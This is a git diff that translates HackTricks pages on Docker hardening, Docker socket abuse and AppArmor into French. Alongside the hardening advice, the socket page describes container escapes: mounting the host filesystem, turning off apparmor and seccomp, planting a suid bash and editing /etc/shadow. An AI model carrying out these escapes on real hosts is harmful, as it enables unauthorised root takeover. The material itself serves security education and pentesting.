`docker-compose.yml` example: - +Pour les secrets nécessaires dans un conteneur en cours d'exécution, **Docker Compose et Kubernetes** offrent des solutions robustes. Docker Compose utilise une clé `secrets` dans la définition du service pour spécifier des fichiers secrets, comme montré dans un exemple de `docker-compose.yml` : ```yaml version: "3.7" services: - my_service: - image: centos:7 - entrypoint: "cat /run/secrets/my_secret" - secrets: - - my_secret +my_service: +image: centos:7 +entrypoint: "cat /run/secrets/my_secret" secrets: - my_secret: - file: ./my_secret_file.txt +- my_secret +secrets: +my_secret: +file: ./my_secret_file.txt ``` +Cette configuration permet l'utilisation de secrets lors du démarrage de services avec Docker Compose. -This configuration allows for the use of secrets when starting services with Docker Compose. - -In Kubernetes environments, secrets are natively supported and can be further managed with tools like [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Kubernetes' Role Based Access Controls (RBAC) enhances secret management security, similar to Docker Enterprise. +Dans les environnements Kubernetes, les secrets sont pris en charge nativement et peuvent être gérés davantage avec des outils comme [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Les contrôles d'accès basés sur les rôles (RBAC) de Kubernetes améliorent la sécurité de la gestion des secrets, similaire à Docker Enterprise. ### gVisor -**gVisor** is an application kernel, written in Go, that implements a substantial portion of the Linux system surface. It includes an [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime called `runsc` that provides an **isolation boundary between the application and the host kernel**. The `runsc` runtime integrates with Docker and Kubernetes, making it simple to run sandboxed containers. +**gVisor** est un noyau d'application, écrit en Go, qui implémente une partie substantielle de la surface système Linux. Il inclut un runtime [Open Container Initiative (OCI)](https://www.opencontainers.org) appelé `runsc` qui fournit une **barrière d'isolation entre l'application et le noyau hôte**. Le runtime `runsc` s'intègre avec Docker et Kubernetes, facilitant l'exécution de conteneurs en bac à sable. {% embed url="https://github.com/google/gvisor" %} ### Kata Containers -**Kata Containers** is an open source community working to build a secure container runtime with lightweight virtual machines that feel and perform like containers, but provide **stronger workload isolation using hardware virtualization** technology as a second layer of defense. +**Kata Containers** est une communauté open source travaillant à construire un runtime de conteneur sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais fournissent une **isolation de charge de travail plus forte utilisant la technologie de virtualisation matérielle** comme deuxième couche de défense. {% embed url="https://katacontainers.io/" %} -### Summary Tips +### Résumé des conseils -- **Do not use the `--privileged` flag or mount a** [**Docker socket inside the container**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** The docker socket allows for spawning containers, so it is an easy way to take full control of the host, for example, by running another container with the `--privileged` flag. -- Do **not run as root inside the container. Use a** [**different user**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **and** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** The root in the container is the same as on host unless remapped with user namespaces. It is only lightly restricted by, primarily, Linux namespaces, capabilities, and cgroups. -- [**Drop all capabilities**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) and enable only those that are required** (`--cap-add=...`). Many of workloads don’t need any capabilities and adding them increases the scope of a potential attack. -- [**Use the “no-new-privileges” security option**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) to prevent processes from gaining more privileges, for example through suid binaries. -- [**Limit resources available to the container**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Resource limits can protect the machine from denial of service attacks. -- **Adjust** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(or SELinux)** profiles to restrict the actions and syscalls available for the container to the minimum required. -- **Use** [**official docker images**](https://docs.docker.com/docker-hub/official_images/) **and require signatures** or build your own based on them. Don’t inherit or use [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) images. Also store root keys, passphrase in a safe place. Docker has plans to manage keys with UCP. -- **Regularly** **rebuild** your images to **apply security patches to the host an images.** -- Manage your **secrets wisely** so it's difficult to the attacker to access them. -- If you **exposes the docker daemon use HTTPS** with client & server authentication. -- In your Dockerfile, **favor COPY instead of ADD**. ADD automatically extracts zipped files and can copy files from URLs. COPY doesn’t have these capabilities. Whenever possible, avoid using ADD so you aren’t susceptible to attacks through remote URLs and Zip files. -- Have **separate containers for each micro-s**ervice -- **Don’t put ssh** inside container, “docker exec” can be used to ssh to Container. -- Have **smaller** container **images** +- **Ne pas utiliser le drapeau `--privileged` ou monter un** [**socket Docker à l'intérieur du conteneur**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Le socket Docker permet de créer des conteneurs, ce qui est un moyen facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`. +- Ne **pas exécuter en tant que root à l'intérieur du conteneur. Utilisez un** [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **et** [**des espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/)**.** Le root dans le conteneur est le même que sur l'hôte à moins d'être remappé avec des espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups. +- [**Supprimez toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et activez uniquement celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail n'ont pas besoin de capacités et les ajouter augmente le champ d'une attaque potentielle. +- [**Utilisez l'option de sécurité “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus d'acquérir plus de privilèges, par exemple via des binaires suid. +- [**Limitez les ressources disponibles pour le conteneur**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Les limites de ressources peuvent protéger la machine contre les attaques par déni de service. +- **Ajustez** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** profils pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis. +- **Utilisez** [**des images Docker officielles**](https://docs.docker.com/docker-hub/official_images/) **et exigez des signatures** ou construisez les vôtres à partir de celles-ci. Ne pas hériter ou utiliser des images [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Stockez également les clés root et les phrases de passe dans un endroit sûr. Docker prévoit de gérer les clés avec UCP. +- **Reconstruisez régulièrement** vos images pour **appliquer des correctifs de sécurité à l'hôte et aux images.** +- Gérez vos **secrets avec sagesse** afin qu'il soit difficile pour l'attaquant d'y accéder. +- Si vous **exposez le démon Docker, utilisez HTTPS** avec authentification client et serveur. +- Dans votre Dockerfile, **privilégiez COPY au lieu de ADD**. ADD extrait automatiquement les fichiers compressés et peut copier des fichiers à partir d'URLs. COPY n'a pas ces capacités. Évitez d'utiliser ADD autant que possible pour ne pas être vulnérable aux attaques via des URLs distantes et des fichiers Zip. +- Ayez **des conteneurs séparés pour chaque micro-s**ervice. +- **Ne mettez pas ssh** à l'intérieur du conteneur, “docker exec” peut être utilisé pour ssh au conteneur. +- Ayez des **images de conteneur plus petites**. -## Docker Breakout / Privilege Escalation +## Docker Breakout / Escalade de privilèges -If you are **inside a docker container** or you have access to a user in the **docker group**, you could try to **escape and escalate privileges**: +Si vous êtes **à l'intérieur d'un conteneur Docker** ou si vous avez accès à un utilisateur dans le **groupe docker**, vous pourriez essayer de **vous échapper et d'escalader les privilèges** : {{#ref}} docker-breakout-privilege-escalation/ {{#endref}} -## Docker Authentication Plugin Bypass +## Contournement du plugin d'authentification Docker -If you have access to the docker socket or have access to a user in the **docker group but your actions are being limited by a docker auth plugin**, check if you can **bypass it:** +Si vous avez accès au socket Docker ou si vous avez accès à un utilisateur dans le **groupe docker mais que vos actions sont limitées par un plugin d'authentification Docker**, vérifiez si vous pouvez **le contourner :** {{#ref}} authz-and-authn-docker-access-authorization-plugin.md {{#endref}} -## Hardening Docker +## Renforcement de Docker -- The tool [**docker-bench-security**](https://github.com/docker/docker-bench-security) is a script that checks for dozens of common best-practices around deploying Docker containers in production. The tests are all automated, and are based on the [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ - You need to run the tool from the host running docker or from a container with enough privileges. Find out **how to run it in the README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +- L'outil [**docker-bench-security**](https://github.com/docker/docker-bench-security) est un script qui vérifie des dizaines de meilleures pratiques courantes autour du déploiement de conteneurs Docker en production. Les tests sont tous automatisés et sont basés sur le [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ +Vous devez exécuter l'outil depuis l'hôte exécutant Docker ou depuis un conteneur avec suffisamment de privilèges. Découvrez **comment l'exécuter dans le README :** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). -## References +## Références - [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/) - [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/_fel1x/status/1151487051986087936) @@ -421,12 +373,4 @@ authz-and-authn-docker-access-authorization-plugin.md - [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57) - [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/) -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md index a23a6b769..2462fba21 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/docker-security/abusing-docker-socket-for-privilege-escalation.md @@ -1,43 +1,43 @@ -# Abusing Docker Socket for Privilege Escalation +# Abuser du socket Docker pour l'escalade de privilèges {{#include ../../../banners/hacktricks-training.md}} -There are some occasions were you just have **access to the docker socket** and you want to use it to **escalate privileges**. Some actions might be very suspicious and you may want to avoid them, so here you can find different flags that can be useful to escalate privileges: +Il y a des occasions où vous avez juste **accès au socket docker** et vous voulez l'utiliser pour **escalader les privilèges**. Certaines actions peuvent être très suspectes et vous voudrez peut-être les éviter, donc ici vous pouvez trouver différents drapeaux qui peuvent être utiles pour escalader les privilèges : ### Via mount -You can **mount** different parts of the **filesystem** in a container running as root and **access** them.\ -You could also **abuse a mount to escalate privileges** inside the container. +Vous pouvez **monter** différentes parties du **système de fichiers** dans un conteneur s'exécutant en tant que root et **y accéder**.\ +Vous pourriez également **abuser d'un montage pour escalader les privilèges** à l'intérieur du conteneur. -- **`-v /:/host`** -> Mount the host filesystem in the container so you can **read the host filesystem.** - - If you want to **feel like you are in the host** but being on the container you could disable other defense mechanisms using flags like: - - `--privileged` - - `--cap-add=ALL` - - `--security-opt apparmor=unconfined` - - `--security-opt seccomp=unconfined` - - `-security-opt label:disable` - - `--pid=host` - - `--userns=host` - - `--uts=host` - - `--cgroupns=host` -- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> This is similar to the previous method, but here we are **mounting the device disk**. Then, inside the container run `mount /dev/sda1 /mnt` and you can **access** the **host filesystem** in `/mnt` - - Run `fdisk -l` in the host to find the `` device to mount -- **`-v /tmp:/host`** -> If for some reason you can **just mount some directory** from the host and you have access inside the host. Mount it and create a **`/bin/bash`** with **suid** in the mounted directory so you can **execute it from the host and escalate to root**. +- **`-v /:/host`** -> Montez le système de fichiers de l'hôte dans le conteneur afin que vous puissiez **lire le système de fichiers de l'hôte.** +- Si vous voulez **vous sentir comme si vous étiez sur l'hôte** tout en étant dans le conteneur, vous pourriez désactiver d'autres mécanismes de défense en utilisant des drapeaux comme : +- `--privileged` +- `--cap-add=ALL` +- `--security-opt apparmor=unconfined` +- `--security-opt seccomp=unconfined` +- `-security-opt label:disable` +- `--pid=host` +- `--userns=host` +- `--uts=host` +- `--cgroupns=host` +- \*\*`--device=/dev/sda1 --cap-add=SYS_ADMIN --security-opt apparmor=unconfined` \*\* -> Cela est similaire à la méthode précédente, mais ici nous **montons le disque de l'appareil**. Ensuite, à l'intérieur du conteneur, exécutez `mount /dev/sda1 /mnt` et vous pouvez **accéder** au **système de fichiers de l'hôte** dans `/mnt` +- Exécutez `fdisk -l` sur l'hôte pour trouver le `` appareil à monter +- **`-v /tmp:/host`** -> Si pour une raison quelconque vous ne pouvez **monter qu'un répertoire** de l'hôte et que vous avez accès à l'intérieur de l'hôte. Montez-le et créez un **`/bin/bash`** avec **suid** dans le répertoire monté afin que vous puissiez **l'exécuter depuis l'hôte et escalader vers root**. > [!NOTE] -> Note that maybe you cannot mount the folder `/tmp` but you can mount a **different writable folder**. You can find writable directories using: `find / -writable -type d 2>/dev/null` +> Notez que peut-être vous ne pouvez pas monter le dossier `/tmp` mais vous pouvez monter un **autre dossier écrivable**. Vous pouvez trouver des répertoires écrits en utilisant : `find / -writable -type d 2>/dev/null` > -> **Note that not all the directories in a linux machine will support the suid bit!** In order to check which directories support the suid bit run `mount | grep -v "nosuid"` For example usually `/dev/shm` , `/run` , `/proc` , `/sys/fs/cgroup` and `/var/lib/lxcfs` don't support the suid bit. +> **Notez que tous les répertoires d'une machine linux ne prendront pas en charge le bit suid !** Pour vérifier quels répertoires prennent en charge le bit suid, exécutez `mount | grep -v "nosuid"` Par exemple, généralement `/dev/shm`, `/run`, `/proc`, `/sys/fs/cgroup` et `/var/lib/lxcfs` ne prennent pas en charge le bit suid. > -> Note also that if you can **mount `/etc`** or any other folder **containing configuration files**, you may change them from the docker container as root in order to **abuse them in the host** and escalate privileges (maybe modifying `/etc/shadow`) +> Notez également que si vous pouvez **monter `/etc`** ou tout autre dossier **contenant des fichiers de configuration**, vous pouvez les modifier depuis le conteneur docker en tant que root afin de **les abuser sur l'hôte** et escalader les privilèges (peut-être en modifiant `/etc/shadow`) -### Escaping from the container +### Évasion du conteneur -- **`--privileged`** -> With this flag you [remove all the isolation from the container](docker-privileged.md#what-affects). Check techniques to [escape from privileged containers as root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). -- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> To [escalate abusing capabilities](../linux-capabilities.md), **grant that capability to the container** and disable other protection methods that may prevent the exploit to work. +- **`--privileged`** -> Avec ce drapeau, vous [supprimez toute l'isolation du conteneur](docker-privileged.md#what-affects). Vérifiez les techniques pour [s'échapper des conteneurs privilégiés en tant que root](docker-breakout-privilege-escalation/#automatic-enumeration-and-escape). +- **`--cap-add= [--security-opt apparmor=unconfined] [--security-opt seccomp=unconfined] [-security-opt label:disable]`** -> Pour [escalader en abusant des capacités](../linux-capabilities.md), **accordez cette capacité au conteneur** et désactivez d'autres méthodes de protection qui pourraient empêcher l'exploitation de fonctionner. ### Curl -In this page we have discussed ways to escalate privileges using docker flags, you can find **ways to abuse these methods using curl** command in the page: +Dans cette page, nous avons discuté des moyens d'escalader les privilèges en utilisant des drapeaux docker, vous pouvez trouver **des moyens d'abuser de ces méthodes en utilisant la commande curl** sur la page : {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md index 0455067e0..6661c8220 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/apparmor.md +++ b/src/linux-hardening/privilege-escalation/docker-security/apparmor.md @@ -2,31 +2,30 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## Informations de base -AppArmor is a **kernel enhancement designed to restrict the resources available to programs through per-program profiles**, effectively implementing Mandatory Access Control (MAC) by tying access control attributes directly to programs instead of users. This system operates by **loading profiles into the kernel**, usually during boot, and these profiles dictate what resources a program can access, such as network connections, raw socket access, and file permissions. +AppArmor est un **amélioration du noyau conçue pour restreindre les ressources disponibles aux programmes via des profils par programme**, mettant en œuvre efficacement le Contrôle d'Accès Obligatoire (MAC) en liant les attributs de contrôle d'accès directement aux programmes plutôt qu'aux utilisateurs. Ce système fonctionne en **chargeant des profils dans le noyau**, généralement au démarrage, et ces profils dictent quelles ressources un programme peut accéder, telles que les connexions réseau, l'accès aux sockets bruts et les permissions de fichiers. -There are two operational modes for AppArmor profiles: +Il existe deux modes opérationnels pour les profils AppArmor : -- **Enforcement Mode**: This mode actively enforces the policies defined within the profile, blocking actions that violate these policies and logging any attempts to breach them through systems like syslog or auditd. -- **Complain Mode**: Unlike enforcement mode, complain mode does not block actions that go against the profile's policies. Instead, it logs these attempts as policy violations without enforcing restrictions. +- **Mode d'application** : Ce mode applique activement les politiques définies dans le profil, bloquant les actions qui violent ces politiques et enregistrant toute tentative de violation via des systèmes comme syslog ou auditd. +- **Mode de plainte** : Contrairement au mode d'application, le mode de plainte ne bloque pas les actions qui vont à l'encontre des politiques du profil. Au lieu de cela, il enregistre ces tentatives comme des violations de politique sans appliquer de restrictions. -### Components of AppArmor +### Composants d'AppArmor -- **Kernel Module**: Responsible for the enforcement of policies. -- **Policies**: Specify the rules and restrictions for program behavior and resource access. -- **Parser**: Loads policies into the kernel for enforcement or reporting. -- **Utilities**: These are user-mode programs that provide an interface for interacting with and managing AppArmor. +- **Module du noyau** : Responsable de l'application des politiques. +- **Politiques** : Spécifient les règles et restrictions pour le comportement des programmes et l'accès aux ressources. +- **Analyseur** : Charge les politiques dans le noyau pour application ou rapport. +- **Utilitaires** : Ce sont des programmes en mode utilisateur qui fournissent une interface pour interagir avec et gérer AppArmor. -### Profiles path +### Chemin des profils -Apparmor profiles are usually saved in _**/etc/apparmor.d/**_\ -With `sudo aa-status` you will be able to list the binaries that are restricted by some profile. If you can change the char "/" for a dot of the path of each listed binary and you will obtain the name of the apparmor profile inside the mentioned folder. +Les profils AppArmor sont généralement enregistrés dans _**/etc/apparmor.d/**_\ +Avec `sudo aa-status`, vous pourrez lister les binaires qui sont restreints par un certain profil. Si vous pouvez changer le caractère "/" par un point dans le chemin de chaque binaire listé, vous obtiendrez le nom du profil AppArmor dans le dossier mentionné. -For example, a **apparmor** profile for _/usr/bin/man_ will be located in _/etc/apparmor.d/usr.bin.man_ - -### Commands +Par exemple, un **profil apparmor** pour _/usr/bin/man_ sera situé dans _/etc/apparmor.d/usr.bin.man_ +### Commandes ```bash aa-status #check the current status aa-enforce #set profile to enforce mode (from disable or complain) @@ -36,47 +35,41 @@ aa-genprof #generate a new profile aa-logprof #used to change the policy when the binary/program is changed aa-mergeprof #used to merge the policies ``` +## Création d'un profil -## Creating a profile - -- In order to indicate the affected executable, **absolute paths and wildcards** are allowed (for file globbing) for specifying files. -- To indicate the access the binary will have over **files** the following **access controls** can be used: - - **r** (read) - - **w** (write) - - **m** (memory map as executable) - - **k** (file locking) - - **l** (creation hard links) - - **ix** (to execute another program with the new program inheriting policy) - - **Px** (execute under another profile, after cleaning the environment) - - **Cx** (execute under a child profile, after cleaning the environment) - - **Ux** (execute unconfined, after cleaning the environment) -- **Variables** can be defined in the profiles and can be manipulated from outside the profile. For example: @{PROC} and @{HOME} (add #include \ to the profile file) -- **Deny rules are supported to override allow rules**. +- Afin d'indiquer l'exécutable affecté, **les chemins absolus et les jokers** sont autorisés (pour le globbing de fichiers) pour spécifier des fichiers. +- Pour indiquer l'accès que le binaire aura sur **les fichiers**, les **contrôles d'accès** suivants peuvent être utilisés : +- **r** (lecture) +- **w** (écriture) +- **m** (carte mémoire comme exécutable) +- **k** (verrouillage de fichier) +- **l** (création de liens durs) +- **ix** (pour exécuter un autre programme avec la nouvelle politique héritée) +- **Px** (exécuter sous un autre profil, après avoir nettoyé l'environnement) +- **Cx** (exécuter sous un profil enfant, après avoir nettoyé l'environnement) +- **Ux** (exécuter sans confinement, après avoir nettoyé l'environnement) +- **Des variables** peuvent être définies dans les profils et peuvent être manipulées depuis l'extérieur du profil. Par exemple : @{PROC} et @{HOME} (ajoutez #include \ au fichier de profil) +- **Les règles de refus sont prises en charge pour remplacer les règles d'autorisation**. ### aa-genprof -To easily start creating a profile apparmor can help you. It's possible to make **apparmor inspect the actions performed by a binary and then let you decide which actions you want to allow or deny**.\ -You just need to run: - +Pour commencer facilement à créer un profil, apparmor peut vous aider. Il est possible de faire **apparmor inspecter les actions effectuées par un binaire et ensuite vous laisser décider quelles actions vous souhaitez autoriser ou refuser**.\ +Vous devez juste exécuter : ```bash sudo aa-genprof /path/to/binary ``` - -Then, in a different console perform all the actions that the binary will usually perform: - +Ensuite, dans une console différente, effectuez toutes les actions que le binaire effectuera généralement : ```bash /path/to/binary -a dosomething ``` - -Then, in the first console press "**s**" and then in the recorded actions indicate if you want to ignore, allow, or whatever. When you have finished press "**f**" and the new profile will be created in _/etc/apparmor.d/path.to.binary_ +Ensuite, dans la première console, appuyez sur "**s**" puis dans les actions enregistrées, indiquez si vous souhaitez ignorer, autoriser ou autre. Lorsque vous avez terminé, appuyez sur "**f**" et le nouveau profil sera créé dans _/etc/apparmor.d/path.to.binary_ > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever +> En utilisant les touches fléchées, vous pouvez sélectionner ce que vous souhaitez autoriser/refuser/autre ### aa-easyprof -You can also create a template of an apparmor profile of a binary with: - +Vous pouvez également créer un modèle de profil apparmor d'un binaire avec : ```bash sudo aa-easyprof /path/to/binary # vim:syntax=apparmor @@ -90,40 +83,34 @@ sudo aa-easyprof /path/to/binary # No template variables specified "/path/to/binary" { - #include +#include - # No abstractions specified +# No abstractions specified - # No policy groups specified +# No policy groups specified - # No read paths specified +# No read paths specified - # No write paths specified +# No write paths specified } ``` - > [!NOTE] -> Note that by default in a created profile nothing is allowed, so everything is denied. You will need to add lines like `/etc/passwd r,` to allow the binary read `/etc/passwd` for example. - -You can then **enforce** the new profile with +> Notez qu'en mode par défaut dans un profil créé, rien n'est autorisé, donc tout est refusé. Vous devrez ajouter des lignes comme `/etc/passwd r,` pour autoriser la lecture binaire de `/etc/passwd`, par exemple. +Vous pouvez ensuite **appliquer** le nouveau profil avec ```bash sudo apparmor_parser -a /etc/apparmor.d/path.to.binary ``` +### Modification d'un profil à partir des journaux -### Modifying a profile from logs - -The following tool will read the logs and ask the user if he wants to permit some of the detected forbidden actions: - +L'outil suivant lira les journaux et demandera à l'utilisateur s'il souhaite autoriser certaines des actions interdites détectées : ```bash sudo aa-logprof ``` - > [!NOTE] -> Using the arrow keys you can select what you want to allow/deny/whatever - -### Managing a Profile +> En utilisant les touches fléchées, vous pouvez sélectionner ce que vous souhaitez autoriser/refuser/autre +### Gestion d'un profil ```bash #Main profile management commands apparmor_parser -a /etc/apparmor.d/profile.name #Load a new profile in enforce mode @@ -131,18 +118,14 @@ apparmor_parser -C /etc/apparmor.d/profile.name #Load a new profile in complain apparmor_parser -r /etc/apparmor.d/profile.name #Replace existing profile apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile ``` - ## Logs -Example of **AUDIT** and **DENIED** logs from _/var/log/audit/audit.log_ of the executable **`service_bin`**: - +Exemple de journaux **AUDIT** et **DENIED** de _/var/log/audit/audit.log_ de l'exécutable **`service_bin`** : ```bash type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000 type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0 ``` - -You can also get this information using: - +Vous pouvez également obtenir ces informations en utilisant : ```bash sudo aa-notify -s 1 -v Profile: /bin/service_bin @@ -160,126 +143,104 @@ Logfile: /var/log/audit/audit.log AppArmor denials: 2 (since Wed Jan 6 23:51:08 2021) For more information, please see: https://wiki.ubuntu.com/DebuggingApparmor ``` +## Apparmor dans Docker -## Apparmor in Docker - -Note how the profile **docker-profile** of docker is loaded by default: - +Notez comment le profil **docker-profile** de docker est chargé par défaut : ```bash sudo aa-status apparmor module is loaded. 50 profiles are loaded. 13 profiles are in enforce mode. - /sbin/dhclient - /usr/bin/lxc-start - /usr/lib/NetworkManager/nm-dhcp-client.action - /usr/lib/NetworkManager/nm-dhcp-helper - /usr/lib/chromium-browser/chromium-browser//browser_java - /usr/lib/chromium-browser/chromium-browser//browser_openjdk - /usr/lib/chromium-browser/chromium-browser//sanitized_helper - /usr/lib/connman/scripts/dhclient-script - docker-default +/sbin/dhclient +/usr/bin/lxc-start +/usr/lib/NetworkManager/nm-dhcp-client.action +/usr/lib/NetworkManager/nm-dhcp-helper +/usr/lib/chromium-browser/chromium-browser//browser_java +/usr/lib/chromium-browser/chromium-browser//browser_openjdk +/usr/lib/chromium-browser/chromium-browser//sanitized_helper +/usr/lib/connman/scripts/dhclient-script +docker-default ``` +Par défaut, le **profil docker-default d'Apparmor** est généré à partir de [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) -By default **Apparmor docker-default profile** is generated from [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor) +**Résumé du profil docker-default** : -**docker-default profile Summary**: - -- **Access** to all **networking** -- **No capability** is defined (However, some capabilities will come from including basic base rules i.e. #include \ ) -- **Writing** to any **/proc** file is **not allowed** -- Other **subdirectories**/**files** of /**proc** and /**sys** are **denied** read/write/lock/link/execute access -- **Mount** is **not allowed** -- **Ptrace** can only be run on a process that is confined by **same apparmor profile** - -Once you **run a docker container** you should see the following output: +- **Accès** à tout le **réseau** +- **Aucune capacité** n'est définie (Cependant, certaines capacités proviendront de l'inclusion de règles de base, c'est-à-dire #include \) +- **L'écriture** dans tout fichier **/proc** n'est **pas autorisée** +- D'autres **sous-répertoires**/**fichiers** de /**proc** et /**sys** se voient **refuser** l'accès en lecture/écriture/verrouillage/lien/exécution +- **Le montage** n'est **pas autorisé** +- **Ptrace** ne peut être exécuté que sur un processus qui est confiné par le **même profil apparmor** +Une fois que vous **exécutez un conteneur docker**, vous devriez voir la sortie suivante : ```bash 1 processes are in enforce mode. - docker-default (825) +docker-default (825) ``` - -Note that **apparmor will even block capabilities privileges** granted to the container by default. For example, it will be able to **block permission to write inside /proc even if the SYS_ADMIN capability is granted** because by default docker apparmor profile denies this access: - +Notez que **apparmor bloquera même les privilèges de capacités** accordés au conteneur par défaut. Par exemple, il sera capable de **bloquer l'autorisation d'écrire dans /proc même si la capacité SYS_ADMIN est accordée** car par défaut, le profil apparmor de docker refuse cet accès : ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash echo "" > /proc/stat sh: 1: cannot create /proc/stat: Permission denied ``` - -You need to **disable apparmor** to bypass its restrictions: - +Vous devez **désactiver apparmor** pour contourner ses restrictions : ```bash docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash ``` +Notez qu'en par défaut, **AppArmor** **interdira également au conteneur de monter** des dossiers de l'intérieur même avec la capacité SYS_ADMIN. -Note that by default **AppArmor** will also **forbid the container to mount** folders from the inside even with SYS_ADMIN capability. +Notez que vous pouvez **ajouter/enlever** des **capacités** au conteneur docker (cela sera toujours restreint par des méthodes de protection comme **AppArmor** et **Seccomp**): -Note that you can **add/remove** **capabilities** to the docker container (this will be still restricted by protection methods like **AppArmor** and **Seccomp**): - -- `--cap-add=SYS_ADMIN` give `SYS_ADMIN` cap -- `--cap-add=ALL` give all caps -- `--cap-drop=ALL --cap-add=SYS_PTRACE` drop all caps and only give `SYS_PTRACE` +- `--cap-add=SYS_ADMIN` donne la capacité `SYS_ADMIN` +- `--cap-add=ALL` donne toutes les capacités +- `--cap-drop=ALL --cap-add=SYS_PTRACE` supprime toutes les capacités et donne uniquement `SYS_PTRACE` > [!NOTE] -> Usually, when you **find** that you have a **privileged capability** available **inside** a **docker** container **but** some part of the **exploit isn't working**, this will be because docker **apparmor will be preventing it**. +> En général, lorsque vous **découvrez** que vous avez une **capacité privilégiée** disponible **à l'intérieur** d'un conteneur **docker** **mais** qu'une partie de l'**exploit ne fonctionne pas**, cela sera parce que docker **apparmor l'empêchera**. -### Example +### Exemple -(Example from [**here**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) - -To illustrate AppArmor functionality, I created a new Docker profile “mydocker” with the following line added: +(Exemple de [**ici**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)) +Pour illustrer la fonctionnalité d'AppArmor, j'ai créé un nouveau profil Docker “mydocker” avec la ligne suivante ajoutée: ``` deny /etc/* w, # deny write for all files directly in /etc (not in a subdir) ``` - -To activate the profile, we need to do the following: - +Pour activer le profil, nous devons faire ce qui suit : ``` sudo apparmor_parser -r -W mydocker ``` - -To list the profiles, we can do the following command. The command below is listing my new AppArmor profile. - +Pour lister les profils, nous pouvons exécuter la commande suivante. La commande ci-dessous liste mon nouveau profil AppArmor. ``` $ sudo apparmor_status | grep mydocker - mydocker +mydocker ``` - -As shown below, we get error when trying to change “/etc/” since AppArmor profile is preventing write access to “/etc”. - +Comme montré ci-dessous, nous obtenons une erreur lorsque nous essayons de changer “/etc/” car le profil AppArmor empêche l'accès en écriture à “/etc”. ``` 